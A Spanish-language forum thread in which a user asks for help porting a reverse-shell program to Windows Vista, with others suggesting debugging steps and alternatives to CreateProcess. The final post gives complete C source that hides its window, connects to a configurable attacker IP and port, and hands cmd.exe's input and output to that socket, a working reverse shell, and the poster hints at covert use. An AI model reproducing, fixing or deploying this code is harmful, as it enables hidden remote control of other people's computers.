Buenas, el otro dia me puse a pasar "Linx" a Windows Vista, para mas utilidad... Ya me entienden.
El caso es que al abrir no funciona correctamente... Podrian postear el fallo por favor?
Que falla para que no corra?
Espero respuestas. Gracias por adelantado!
PD: Code abajo...
Depuralo hasta comprender donde y como falla.
Primero empieza por decir en que falla.
Bueno, fallo mio y disculpas a todos...
De acuerdo, falla aqui:
[code=c]
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);
[/code]
Los fallos son que no se ejecutan correctamente. Todo lo demas, paso a paso, ha sido repasado, buggeado y probado por mi. Todas las demas instrucciones anteriores a esta son correctas. Todos los descriptores se cierran, todo se declara y define... todo.
Sigo probando, pero creo que esta mal algo en el procedimiento anterior a las funciones que fallan. Sencillamente en Vista el procedimiento no es correcto, aqui nos tenemos que inventar algo nuevo... La cosa es que cambia respecto a XP, pues en XP funciona 100%. A lo mejor ahora hay algo que cerrar, algo que declarar...
Muchisimas gracias, sigan posteando!
PD: Modifico con alguna cosilla.. Code abajo.
¿Y que dice GetLastError? :silbar:
0 y 0, respectivamente :huh:
Por que no corren!!!
¿Y CreateProcess devuelve true (1)?
execve() si no me equivoco no funciona en windows.
Sep, CreateProcess da 1, pero no ejecuta nada...
Sin embargo, es verdad, execve no va en Windows.
Que alternativa puedo usar a execve?
Que pasa con CreateProcess? Por que no ejecuta nada?
Muchisimas gracias por sus respuestas...
Wepa!
Se que la solucion no es bonita pero cuando CreateProcess me hace renegar uso las funciones de "spawn()". Pero nunca las he probado en vista ni 7 asi que no se si funcionan alli, aunque deberian por estar en el ansi de C, pero bue!!
link:
http://msdn.microsoft.com/en-us/library/20y988d2%28v=vs.71%29.aspx
saludos
Muchas gracias por responder, pero no me funciona.. Alguien tiene otra idea?
PD: De todos modos muchas gracias!
Bueno yo utilizo las librerias Qt y ejecuto cosas con QProcess::execute(nombreprograma) pero tampoco me funciona, ¿Puede que todo esto esté relacionado con algún asunto de seguridad en Widnows?
No, no funciona tampoco xD... Y mas que ser de seguridad Windows, creo que es la forma en la que se hace... no es correcta.
llevo 3 dias enteros con el problemita xD... podrian ayudarme?
Alguna otra respuestas?
Muchas gracias!
Pd: Feliz navidad!
Lh: No hagas doble post. Utiliza el botón modificar.
Bueno, alguien me puede decir al menos si le funciona en 7? Y en Vista? Y en XP SP3?
Necesito ayuda!!!
El code final es este... He probado a abrirlo como admin, y nada....
Alguna idea?
Bueno, que code usan ustedes en Vista / 7?
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
struct sockaddr_in host;
SOCKET sockfd;
int main (int argc, char *argv [])
{
ShowWindow (GetForegroundWindow (), SW_HIDE);
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
host.sin_port = htons (31337); //Igualmente!
host.sin_family = AF_INET;
memset (host.sin_zero, 0, 8);
if ((sockfd = socket (2, 1, 0)) == -1) return 1;
while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr))) Sleep (1);
PROCESS_INFORMATION info_proc;
STARTUPINFO start_proc;
memset(&start_proc,0,sizeof(start_proc));
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)sockfd;
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);
closesocket (sockfd);
return 0;
}